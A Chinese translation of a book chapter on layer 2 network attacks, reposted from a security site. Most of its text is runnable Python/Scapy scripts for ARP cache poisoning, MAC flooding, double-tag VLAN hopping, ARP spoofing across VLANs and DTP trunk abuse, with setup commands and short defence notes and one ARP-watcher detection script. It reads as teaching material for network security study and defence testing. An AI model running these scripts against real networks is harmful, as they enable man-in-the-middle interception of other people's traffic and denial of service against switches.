<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            原文地址:http://drops.wooyun.org/tips/8547

            本章節節選翻譯自《Understanding Network Hacks: Attack and Defense with Python》中的第四章Layer 2 Attacks。該書通過網絡層次劃分介紹漏洞,并使用Python編寫相關利用工具進行網絡攻防,每小節均按照“原理--代碼--解釋--防御”的結構行文,此書也可與《Python黑帽子:黑客與滲透測試編程之道》相互參照學習,相信會達到較好的效果呦。另譯者水平有限,如有錯誤還請指正與海涵。

            0x00 摘要


            在本章第二層攻擊當中,我們將進入網絡hacking的奇幻之旅。讓我們回顧一下,第二層是負責在以太網中,使用MAC地址來發送數據包。除了ARP攻擊,我們將探討交換機是如何應對DOS攻擊的,以及如何逃逸出VLAN環境。

            0x01 需求模塊


            Python中,你不必在意原始套接字或網絡字節順序,借由Philippe Biondi編寫的Scapy,具有世界上最好的數據包生成器,你可以輕松地定制數據包。既不像在LibnetC中那樣需要指針運算,也不像在RawIPPerl中,或者是在ScrubyRuby中,你會被有限的幾種協議所束縛。Scapy可以構造從ARPIP/ICMP,再到TCP/UDPDNS/DHCP等所有OSI層上的數據包,甚至是更不常見的協議也同樣被支持,比如BOOTP, GPRS, PPPoE, SNMP, Radius, Infrared, L2CAP/HCI, EAP

            現在讓我們在第二層網絡上,使用Scapy來制造一些麻煩吧!首先你需要用如下的命令安裝它:

            pip install Scapy
            

            現在你將步入經典著名的中間人攻擊!

            0x02 ARP-Cache-Poisoning


            如果一臺主機想要發送IP數據包到另一臺主機,就必須預先通過使用ARP協議請求目的MAC地址。這個詢問會向網絡中的所有成員廣播。在一個完美的世界中,只有應答的主機是所需的目的主機。在一個不那么完美的世界中,攻擊者會每隔幾秒向它的受害者發送一個ARP應答報文,但是是以它自己的MAC地址作為響應,從而重定向該連接到其自身。因為大多數的操作系統都接受它們從未詢問過的應答報文,所以該攻擊才會生效!

            #!python
            #!/usr/bin/python
            import sys
            import time
            from scapy.all import sendp, ARP, Ether    
            
            if len(sys.argv) < 3:
                print sys.argv[0] + ": <target> <spoof_ip>"
                sys.exit(1)    
            
            iface = "eth0"
            target_ip = sys.argv[1]
            fake_ip = sys.argv[2]    
            
            ethernet = Ether()
            arp = ARP(pdst=target_ip,
                            psrc=fake_ip,
                            op="is-at")
            packet = ethernet / arp    
            
            while True:
                    sendp(packet, iface=iface)
                    time.sleep(10)
            

            Scapy的幫助下,我們構造了一個名為packet的數據包,里面包括一個Ethernet()及一個ARP()頭。在ARP頭部中,我們設置了受害者的IP地址(target_ip)和我們想劫持所有連接的IP地址(fake_ip)。對于最后一個參數,我們設置OP-Codeis-at,聲明該數據包為一個ARP響應。然后sendp()函數在每次發送數據包時,都等待10秒并一直循環發送下去。

            需要注意的是,你必須使用sendp()函數而不是send()函數,因為數據包應該在第二層被發送。send()則是在第三層發送數據包。

            最后,要記得啟用IP轉發,否則你的主機會阻塞來自受害者的連接。

            sysctl net.ipv4.ip_forward=1
            

            不要忘記檢查像IPtables這樣的數據包過濾器的設置,使用pfipfw或直接禁用它,現在已經了解了足夠多的枯燥的理論知識,讓我們直接進入一些實用的Python代碼吧!

            如果你只是用fake_ip來處理客戶端的ARP緩存,那么你只會得到客戶端的數據包,而無法接收到服務端的響應。如下圖所示。

            enter image description here

            如下圖所示,要強制通過攻擊者的主機進行雙向連接,攻擊者就必須使用他的MAC地址,來偽造客戶端和服務端的相關目的地址。

            enter image description here

            我們的第一段代碼有些粗糙,它發送了大量的ARP報文,不僅產生了所需要的流量,而且也比較暴露。隱蔽的攻擊者會采取另一種策略。

            一臺主機如果想要獲取有關IP地址的信息,會發出一個ARP請求。我們將編寫一個程序,等待ARP請求,并為每一個接收到的請求發送一個ARP欺騙響應。在交換環境中,這將導致每一個連接都會流經攻擊者的主機,因為在ARP緩存中,每一個IP地址都會有攻擊者的MAC地址。這個攻擊更加優雅,不像之前的那個那么嘈雜,但還是很容易被一個訓練有素的管理員檢測到。

            如下圖所示,欺騙性的響應數據包和真實主機的響應數據包被并行發送。誰的數據包先被受害者的網卡接收到,則誰獲勝。

            enter image description here

            #!python
            #!/usr/bin/python    
            
            import sys
            from scapy.all import sniff, sendp, ARP, Ether    
            
            if len(sys.argv) < 2:
                print sys.argv[0] + " <iface>"
                sys.exit(0)    
            
            
            def arp_poison_callback(packet):
                    # Got ARP request?
                    if packet[ARP].op == 1:
                        answer = Ether(dst=packet[ARP].hwsrc) / ARP()
                        answer[ARP].op = "is-at"
                        answer[ARP].hwdst = packet[ARP].hwsrc
                        answer[ARP].psrc = packet[ARP].pdst
                        answer[ARP].pdst = packet[ARP].psrc    
            
                        print "Fooling " + packet[ARP].psrc + " that " + \
                                packet[ARP].pdst + " is me"    
            
                        sendp(answer, iface=sys.argv[1])    
            
            sniff(prn=arp_poison_callback,
                    filter="arp",
                    iface=sys.argv[1],
                    store=0)
            

            從參數iface指定的網卡中,sniff()函數無限循環地讀取數據包。將PACP過濾器設置為arp,使接收到的數據包都被自動過濾,來保證我們的回調函數arp_poison_callback在被調用時,只有ARP數據包作為輸入。同時由于參數store=0,數據包將不會被存儲。

            arp_poison_callback()函數處理我們的實際工作。首先,它會檢查ARP報文的OP code:當它是1時則為一個ARP請求,然后我們來生成一個響應包,在響應數據包中,我們將請求包中的源MAC地址和IP地址作為目的MAC地址和IP地址。因為我們未定義源MAC地址,所以Scapy會自動插入發送數據包的網絡接口地址。

            ARPIPMAC地址的對應關系會被緩存一段時間,因為它會被轉儲起來,對同一地址一遍又一遍地進行解析。可以用如下命令顯示ARP緩存:

            arp -an
            ? (192.168.13.5) at c0:de:de:ad:be:ef [ether] on eth0
            

            這依賴于操作系統和它的版本,本地配置設置及地址被緩存的時間。

            為了抵御ARP欺騙攻擊,一方面可以使用ARP靜態表,但是這同樣可以被接收到的ARP響應所覆蓋,這些均依賴于操作系統對ARP的處理代碼。另一方面也可以使用像ARP watcher這樣的工具。ARP watcher監控ARP流量,并報告可疑行為但并不阻止。現在最先進的入侵檢測系統可以檢測到ARP緩存中毒攻擊。你應該使用上面的代碼,檢查一下你的IDS,看看它是如何表現的。

            0x03 ARP-Watcher


            接下來我們編寫一個小工具,來報告所有新連接到我們網絡的設備,為此它必須能夠記住所有IPMAC地址的對應關系。此外,它還可以檢測出一個網絡設備是否突然更改了它的MAC地址。

            #!python
            #!/usr/bin/python    
            
            from scapy.all import sniff, ARP
            from signal import signal, SIGINT
            import sys    
            
            arp_watcher_db_file = "/var/cache/arp-watcher.db"
            ip_mac = {}    
            
            # Save ARP table on shutdown
            def sig_int_handler(signum, frame):
                    print "Got SIGINT. Saving ARP database..."
                    try:
                            f = open(arp_watcher_db_file, "w")    
            
                            for (ip, mac) in ip_mac.items():
                                f.write(ip + " " + mac + "\n")    
            
                            f.close()
                            print "Done."
                    except IOError:
                            print "Cannot write file " + arp_watcher_db_file
                            sys.exit(1)    
            
            
            def watch_arp(pkt):
                    # got is-at pkt (ARP response)
                    if pkt[ARP].op == 2:
                            print pkt[ARP].hwsrc + " " + pkt[ARP].psrc    
            
                            # Device is new. Remember it.
                            if ip_mac.get(pkt[ARP].psrc) == None:
                                    print "Found new device " + \
                                            pkt[ARP].hwsrc + " " + \
                                            pkt[ARP].psrc
                                    ip_mac[pkt[ARP].psrc] = pkt[ARP].hwsrc    
            
                            # Device is known but has a different IP
                            elif ip_mac.get(pkt[ARP].psrc) and \
                                    ip_mac[pkt[ARP].psrc] != pkt[ARP].hwsrc:
                                            print pkt[ARP].hwsrc + \
                                                    " has got new ip " + \
                                                    pkt[ARP].psrc + \
                                                    " (old " + ip_mac[pkt[ARP].psrc] + ")"
                                            ip_mac[pkt[ARP].psrc] = pkt[ARP].hwsrc    
            
            signal(SIGINT, sig_int_handler)    
            
            if len(sys.argv) < 2:
                    print sys.argv[0] + " <iface>"
                    sys.exit(0)    
            
            try:
                    fh = open(arp_watcher_db_file, "r")
            except IOError:
                    print "Cannot read file " + arp_watcher_db_file
                    sys.exit(1)    
            
            for line in fh:
                    line.chomp()
                    (ip, mac) = line.split(" ")
                    ip_mac[ip] = mac    
            
            sniff(prn=watch_arp,
                    filter="arp",
                    iface=sys.argv[1],
                    store=0)
            

            開始我們定義了一個信號處理函數sig_int_handler(),當用戶中斷程序時該函數會被調用。該函數會在ip_mac字典中,將所有已知的IPMAC地址對應關系保存到一個文件當中。一開始我們讀取這些ARP db文件,用目前已知的所有對應關系來初始化程序,若文件無法讀取則退出。然后我們將文件內容一行一行地循環讀取,把每一行分割為IPMAC地址,將它們保存到 ip_mac字典中。我們再調用已知的sniff()函數,對每一個接收到的ARP數據包,調用回調函數watch_arp

            watch_arp函數是整個程序中的核心邏輯部分。當嗅探到的數據包是is-at數據包時,則該數據包為一個ARP響應。緊接著我們首先檢查IP是否存在于ip_mac字典中。如果我們沒有發現對應條目,則其為一個新設備,并在屏幕上顯示一條信息。否則我們將數據包中的MAC地址與字典中的MAC相比較,如果不同則響應很可是偽造的,我們也在屏幕上顯示一條消息。在這兩種情況下,都會用新的信息來更新字典。

            0x04 MAC-Flooder


            交換機和其他計算機一樣,具有有限的內存,交換機中存放MAC地址信息的表格也同樣如此,該表格記錄哪個MAC地址對應哪個端口及其內部的ARP緩存。當交換機的緩沖區溢出時,它們的反應就會有些古怪。這將會導致交換機拒絕服務,以至于放棄交換行為而變得像正常的集線器。在集線器模式下,整體的高流量不會是你遇到的唯一問題,因此在沒有附加操作下,所有已連接的計算機都會接收到完整的流量。你應該測試一下的你的交換機在這種意外情況下是如何反應的,接下來的腳本就可以做到這一點。它會產生隨機的MAC地址,并將它們發送到你的交換機中,直到交換機的緩沖區被填滿。

            #!python
            #!/usr/bin/python    
            
            import sys
            from scapy.all import *    
            
            packet = Ether(src=RandMAC("*:*:*:*:*:*"),
                                    dst=RandMAC("*:*:*:*:*:*")) / \
                                    IP(src=RandIP("*.*.*.*"),
                                        dst=RandIP("*.*.*.*")) / \
                                    ICMP()    
            
            if len(sys.argv) < 2:
                    dev = "eth0"
            else:
                    dev = sys.argv[1]    
            
            print "Flooding net with random packets on dev " + dev    
            
            sendp(packet, iface=dev, loop=1)
            

            RandMACRandIP負責隨機地產生地址當中的每一個字節。其余的則由sendp()函數的循環參數完成。

            0x05 VLAN Hopping


            因為VLAN不具備安全特性,一方面標記VLAN取決于包含VLAN id的數據包頭部,使用Scapy可以很容易創建這樣的數據包。現在讓我們的電腦連接到VLAN1,并且嘗試去ping VLAN2上的其他主機。

            #!python
            #!/usr/bin/python    
            
            from scapy.all import *    
            
            packet = Ether(dst="c0:d3:de:ad:be:ef") / \
                            Dot1Q(vlan=1) / \
                            Dot1Q(vlan=2) / \
                            IP(dst="192.168.13.3") / \
                            ICMP()    
            
            sendp(packet)
            

            首先我們設定在數據包的頭部當中,包含我們的VLAN標記,再加上一個目的主機地址。交換機將會移除第一個標記,并不決定如何處理該數據包,當它看到第二個標記VLAN id 2 的時候,則決定轉發到這個vlan。如果交換機連接到其他通過堆疊啟用的VLAN交換機,這種攻擊只會是成功的,否則它們就是使用的基于端口的VLAN

            0x06 Let’s Play Switch


            Linux可以運行在許多嵌入式網絡設備上;因此憑借Linux操作系統,人們可以把自己的電腦變成一臺功能齊全的VALN交換機,這并不令人驚奇。你只需要vconfig這種工具就夠了。在根據你的操作系統安裝所需的數據包后,通過以下的命令,你可以將你的主機加入到另一個VLAN環境中。

            vconfig add eth0 1
            

            然后你必須記住啟動新設備,并給它一個VLAN網絡中的IP地址。

            ifconfig eth0.1 192.168.13.23 up
            

            0x07 ARP Spoofing Over VLAN Hopping


            VLAN會限制對同一VLAN的端口的廣播流量,因此我們不能在默認情況下應對所有的ARP請求,就像在第一個ARP spoofing例子中看到的那樣,必須每隔幾秒就向受害者告訴我們的MAC地址。除了我們對每個數據包進行了標記和加之的目的VLAN,下面的代碼是通用的。

            #!python
            #!/usr/bin/python    
            
            import time
            from scapy.all import sendp, ARP, Ether, Dot1Q    
            
            iface = "eth0"
            target_ip = '192.168.13.23'
            fake_ip = '192.168.13.5'
            fake_mac = 'c0:d3:de:ad:be:ef'
            our_vlan = 1
            target_vlan = 2    
            
            packet = Ether() / \
                            Dot1Q(vlan=our_vlan) / \
                            Dot1Q(vlan=target_vlan) / \
                            ARP(hwsrc=fake_mac,
                                    pdst=target_ip,
                                    psrc=fake_ip,
                                    op="is-at")    
            
            while True:
                    sendp(packet, iface=iface)
                    time.sleep(10)
            

            幸運的是,防御這種類型的VLAN攻擊并沒有那么復雜:如果你真的想分離你的網絡,只需要使用物理劃分的交換機!

            0x08 DTP Abusing


            DTP(動態中繼協議)是一種由思科發明的專有協議,用于如果一個端口是trunk端口,則交換機之間可以動態地交流。Trunk端口通常用于互連交換機和路由器,以便共享一些或所有已知的VLAN

            為了能夠執行下面的代碼,你需要安裝Scapy的開發版本。同時為了check out出源,請先安裝Mercurial,然后鍵入以下命令來克隆Scapy repository

            hg clone http://hg.secdev.org/scapy scapy
            

            如果你想跟蹤Scapy的最新版本,你只需要時不時地更新checkout

            cd scapy
            hg pull
            

            現在你可以將舊版本的Scapy變成最新版的了。

            pip uninstall Scapy
            cd scapy
            python setup.py install
            

            多虧了DTP協議,和它完全忽視任何一種安全的屬性,我們現在就可以發送一個動態可取包到每一個啟用DTP的思科設備,并要求它將我們的端口轉變為trunk端口。

            #!python
            #!/usr/bin/python    
            
            import sys
            from scapy.layers.l2 import Dot3 , LLC, SNAP
            from scapy.contrib.dtp import *    
            
            if len(sys.argv) < 2:
                    print sys.argv[0] + " <dev>"
                    sys.exit()    
            
            negotiate_trunk(iface=sys.argv[1])
            

            作為一個可選參數,你可以設置欺騙相鄰交換機的MAC地址,如果沒有設置,則會自動生成一個隨機值。

            這種攻擊可能會持續幾分鐘,但是攻擊者并不關心延遲,因為他們知道在改變連接到每一個VLAN的可能性之后他們會得到什么!

            vconfig add eth0 <vlan-id>
            ifconfig eth0.<vlan-id> <ip_of_vlan> up
            

            沒有足夠好的理由來使用DTP,所以干脆禁用掉它吧!

            0x09 Tools


            1. NetCommander

              NetCommander是一個簡單的ARP欺騙程序。它通過對每一個可能的IP發送ARP請求,來搜索網絡上存活的主機。你可以選擇需要劫持的連接,然后每隔幾秒,NetCommander就會自動地欺騙那些主機和默認網關之間的雙向連接。

              工具的源代碼可以從這里下載:https://github.com/evilsocket/NetCommander

            2. Hacker’s Hideaway ARP Attack Tool

              Hacker’s Hideaway ARP Attack ToolNetCommander的功能多一些。除了欺騙特殊連接,它還支持被動欺騙所有對源IPARP請求,和MAC泛洪攻擊。

              工具的下載鏈接為:https://packetstormsecurity.org/files/81368/hharp.py.tar.bz2

            3. Loki

              Loki是一種像Yersinia的第二層和第三層攻擊工具。它可以通過插件來擴展,也有一個漂亮的GUI界面。它實現了像ARP欺騙和泛洪,BGPRIP路由注入之類的攻擊,甚至可以攻擊像HSRP和VRRP那樣非常罕見的協議。

              工具的源代碼地址為:https://www.c0decafe.de/loki.html

            <span id="7ztzv"></span>
            <sub id="7ztzv"></sub>

            <span id="7ztzv"></span><form id="7ztzv"></form>

            <span id="7ztzv"></span>

                  <address id="7ztzv"></address>

                      亚洲欧美在线